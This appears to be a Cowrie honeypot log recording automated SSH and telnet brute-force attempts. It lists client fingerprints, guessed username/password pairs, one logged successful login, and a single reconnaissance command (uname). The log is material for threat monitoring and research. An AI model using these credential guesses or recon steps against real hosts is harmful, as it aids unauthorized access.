{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:ef:30:21:cc:7e:ed:04:b0:a3:9a:49:0f:dd:53:c7","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAP2fz5n40jOLVfCCZcrFVenPEd8PF0DbjuaJeZQZFmQwkcJ2DbctVh7Vv1/9AovviKP1pfs6CNoO9Vrc4bPgeaY5OLhA9sxB8aQNrvHQdV8Ytke6FjWZn7gmX0jFEL/LfoxI9HHm9LUfQNVmAF4m1cXLObVA85hxwLHXta87k1MVAAAAFQCGB4vVW/B70O82UxshbqFLbTLU5wAAAIAmhJSIiqz1I3fnoEReuor8y05slcgZat6Mk9ej4hpc+zcYkeWp2k7HMtY3EH4UtN68H083glwV6ZgIuNQZSdAH4RgS1NcJavF30iTHe5K593NMeriYCmrlrrskKjs2zq5Gl1R2kdqbyWPDvjwK8lNWZF5LOjPwNGL7ykaeEuI55wAAAIB02+sgcPecF6L4Pdn5ZeaL/TF7eh8E/hUj4PcXm8xXJ4YYTc7KGbD+589gksF9eTRIqaWPs09UOT2K1cWxKPeH4vcX2eqVBQSslP5FudrB4ih4Qx8wLxxfXZ39UEiOjOMn88aBzETcu85ZEHEfgMuvJz83LJ1MArg58QUFpAPdFQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:10.901521Z","src_ip":"68.235.56.91","session":"912880a16be8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:ee:3e:84:eb:79:88:07:a8:2f:cc:a0:8e:40:d0:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD51dK91Dajz7jaBDSHZEN+q7zYJ1WuLwC7wVeEGXiHS2nQs2grO1HK85cqtiQTY+RutW4S6L99aZIIJq/0yA7dttlkqTm1KhJh/vQqH62jnjEE6V5JqkPOAUdjU7QPp45m+4sPdnKIm2SmoXaFHypwBVcgW034TySd2oNBFdDeQyLCMOKAgOu/50eIxfzQ/wt+Xb1Igi7EZqyjSGWFzRBfFxVnl+5GdOcRNVga14VjrYPgpYrxx+K3dQcl0d/obAxQsOgtrkhJkQOVtlifgItARXL7BIDUWtjZ9inLDwTRlkLjaFmVNZeNGmDeFHX7ut2q6txi5MI5EsFxWhjAeiR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:ee:3e:84:eb:79:88:07:a8:2f:cc:a0:8e:40:d0:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:10.932922Z","src_ip":"68.235.56.91","session":"912880a16be8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b8:ee:3e:84:eb:79:88:07:a8:2f:cc:a0:8e:40:d0:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDD51dK91Dajz7jaBDSHZEN+q7zYJ1WuLwC7wVeEGXiHS2nQs2grO1HK85cqtiQTY+RutW4S6L99aZIIJq/0yA7dttlkqTm1KhJh/vQqH62jnjEE6V5JqkPOAUdjU7QPp45m+4sPdnKIm2SmoXaFHypwBVcgW034TySd2oNBFdDeQyLCMOKAgOu/50eIxfzQ/wt+Xb1Igi7EZqyjSGWFzRBfFxVnl+5GdOcRNVga14VjrYPgpYrxx+K3dQcl0d/obAxQsOgtrkhJkQOVtlifgItARXL7BIDUWtjZ9inLDwTRlkLjaFmVNZeNGmDeFHX7ut2q6txi5MI5EsFxWhjAeiR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:10.937194Z","src_ip":"68.235.56.91","session":"912880a16be8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:d0:c3:cf:de:7b:d8:1a:98:86:07:44:ee:ca:b5:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtFDy1SFl6pIMTR545EG2VC20+zODfFmOUHyt/2KL4VN5EmRsMSq8mW1U7TqcPT33etstPhth64DdWqUa6Azs/Wz876iC04AYtDqkSeq+gbeLQV6SmcAuwwOCTjY5NDGbWI0FNHvl9VgQZJm+8L6M75knp2cXEnhfZYA6PYf9z9LcOgA0U2oAov8jYwdPVQ6QjD7Fg1ziuhZafQm4ZJvFpfeDLmcwQeCyVNnIuSO9E9+4adZy4L2/c+UVwGADRR6iyo1kdX4z5dFs06oNtUQI+kuxo4UswDEF2kICPMVA0XDbDL6CTgw91WepLrQ9CJrjcSvyx8e+Rex+q5Scvqh0r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:d0:c3:cf:de:7b:d8:1a:98:86:07:44:ee:ca:b5:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:10.968893Z","src_ip":"68.235.56.91","session":"912880a16be8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:d0:c3:cf:de:7b:d8:1a:98:86:07:44:ee:ca:b5:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtFDy1SFl6pIMTR545EG2VC20+zODfFmOUHyt/2KL4VN5EmRsMSq8mW1U7TqcPT33etstPhth64DdWqUa6Azs/Wz876iC04AYtDqkSeq+gbeLQV6SmcAuwwOCTjY5NDGbWI0FNHvl9VgQZJm+8L6M75knp2cXEnhfZYA6PYf9z9LcOgA0U2oAov8jYwdPVQ6QjD7Fg1ziuhZafQm4ZJvFpfeDLmcwQeCyVNnIuSO9E9+4adZy4L2/c+UVwGADRR6iyo1kdX4z5dFs06oNtUQI+kuxo4UswDEF2kICPMVA0XDbDL6CTgw91WepLrQ9CJrjcSvyx8e+Rex+q5Scvqh0r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:10.972785Z","src_ip":"68.235.56.91","session":"912880a16be8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:21:ef:35:f2:3f:78:25:37:3f:74:7e:4d:4c:56:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOBNnLc6smsSKoLvD7idDTImgRdCGMxO0JZIf6FFtkBTW27TvvOZUoafa+NOQDjC9mqd2Bu7L3cYabtME+kGXbx+zMQkyrGFzeUyxD+fPAMkZN3g84P96/ht/6EVOny7ZuWSVHNhCs0Dv4Gy108tjfr0ppXV9yKojk58e4U7MYHt+eY1bEm9+lDyfvyxCTaJELK08/7w1fA6mq0aKKJGut5IfjzxAMSdBKHC0HUmPPsm7FjSOViAV1U+Fl45NZIbZdKeup7nsJzvr2G3zRCcbwIxGcztgy0HsoN3WEgW/dzpc1TO0s0Mi936InXsjpQjZudKzmLV00M4NZpa6u8Gx9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:21:ef:35:f2:3f:78:25:37:3f:74:7e:4d:4c:56:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:11.003561Z","src_ip":"68.235.56.91","session":"912880a16be8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:21:ef:35:f2:3f:78:25:37:3f:74:7e:4d:4c:56:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOBNnLc6smsSKoLvD7idDTImgRdCGMxO0JZIf6FFtkBTW27TvvOZUoafa+NOQDjC9mqd2Bu7L3cYabtME+kGXbx+zMQkyrGFzeUyxD+fPAMkZN3g84P96/ht/6EVOny7ZuWSVHNhCs0Dv4Gy108tjfr0ppXV9yKojk58e4U7MYHt+eY1bEm9+lDyfvyxCTaJELK08/7w1fA6mq0aKKJGut5IfjzxAMSdBKHC0HUmPPsm7FjSOViAV1U+Fl45NZIbZdKeup7nsJzvr2G3zRCcbwIxGcztgy0HsoN3WEgW/dzpc1TO0s0Mi936InXsjpQjZudKzmLV00M4NZpa6u8Gx9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:11.008248Z","src_ip":"68.235.56.91","session":"912880a16be8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:11.039861Z","src_ip":"68.235.56.91","session":"912880a16be8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":49842,"dst_ip":"10.17.0.5","dst_port":22,"session":"3625ad9aee18","protocol":"ssh","message":"New connection: 45.153.34.97:49842 (10.17.0.5:22) [session: 3625ad9aee18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:11.687115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:11.701986Z","src_ip":"45.153.34.97","session":"3625ad9aee18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:11.784131Z","src_ip":"45.153.34.97","session":"3625ad9aee18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:12.499027Z","src_ip":"45.153.34.97","session":"3625ad9aee18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.09269905090332,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:12.837167Z","src_ip":"152.42.224.71","session":"4916b52c5570","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:13.583189Z","src_ip":"45.153.34.97","session":"3625ad9aee18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":49846,"dst_ip":"10.17.0.5","dst_port":22,"session":"58681911d08c","protocol":"ssh","message":"New connection: 45.153.34.97:49846 (10.17.0.5:22) [session: 58681911d08c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:16.108566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:16.120727Z","src_ip":"45.153.34.97","session":"58681911d08c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:16.200317Z","src_ip":"45.153.34.97","session":"58681911d08c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.547454833984375,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:16.533818Z","src_ip":"152.42.224.71","session":"6b46c65dcd76","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"p@ssw0rd","message":"login attempt [elasticsearch/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:16.679349Z","src_ip":"45.153.34.97","session":"58681911d08c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.250.238","src_port":37498,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bc0eb17f055","protocol":"ssh","message":"New connection: 192.169.250.238:37498 (10.17.0.5:22) [session: 2bc0eb17f055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:18.171106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:18.175996Z","src_ip":"192.169.250.238","session":"2bc0eb17f055","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:18.251653Z","src_ip":"192.169.250.238","session":"2bc0eb17f055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:18.394546Z","src_ip":"45.153.34.97","session":"58681911d08c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newton","message":"login attempt [root/newton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:18.594272Z","src_ip":"192.169.250.238","session":"2bc0eb17f055","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:19.673038Z","src_ip":"192.169.250.238","session":"2bc0eb17f055","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":19724,"dst_ip":"10.17.0.5","dst_port":22,"session":"54a9b674da8a","protocol":"ssh","message":"New connection: 45.153.34.97:19724 (10.17.0.5:22) [session: 54a9b674da8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:20.381342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:20.489376Z","src_ip":"45.153.34.97","session":"54a9b674da8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:20.493128Z","src_ip":"45.153.34.97","session":"54a9b674da8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44942,"dst_ip":"10.17.0.5","dst_port":23,"session":"b914329f814d","protocol":"telnet","message":"New connection: 152.42.224.71:44942 (10.17.0.5:23) [session: b914329f814d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:21.186018Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123!","message":"login attempt [admin/admin123!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:21.576226Z","src_ip":"45.153.34.97","session":"54a9b674da8a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:21.826632Z","src_ip":"45.153.34.97","session":"54a9b674da8a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:21.830003Z","src_ip":"45.153.34.97","session":"54a9b674da8a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:21.915597Z","src_ip":"45.153.34.97","session":"54a9b674da8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:21.921096Z","src_ip":"45.153.34.97","session":"54a9b674da8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44954,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6d62b0ee54f","protocol":"telnet","message":"New connection: 152.42.224.71:44954 (10.17.0.5:23) [session: f6d62b0ee54f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:24.141158Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":19748,"dst_ip":"10.17.0.5","dst_port":22,"session":"32f06464bf28","protocol":"ssh","message":"New connection: 45.153.34.97:19748 (10.17.0.5:22) [session: 32f06464bf28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:24.975854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:25.000571Z","src_ip":"45.153.34.97","session":"32f06464bf28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:25.077910Z","src_ip":"45.153.34.97","session":"32f06464bf28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xiao","password":"xiao","message":"login attempt [xiao/xiao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:25.916565Z","src_ip":"45.153.34.97","session":"32f06464bf28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":51286,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a5cfa91bde3","protocol":"ssh","message":"New connection: 194.59.206.2:51286 (10.17.0.5:22) [session: 0a5cfa91bde3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:26.277236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:13:26.283250Z","src_ip":"194.59.206.2","session":"0a5cfa91bde3","protocol":"ssh"}
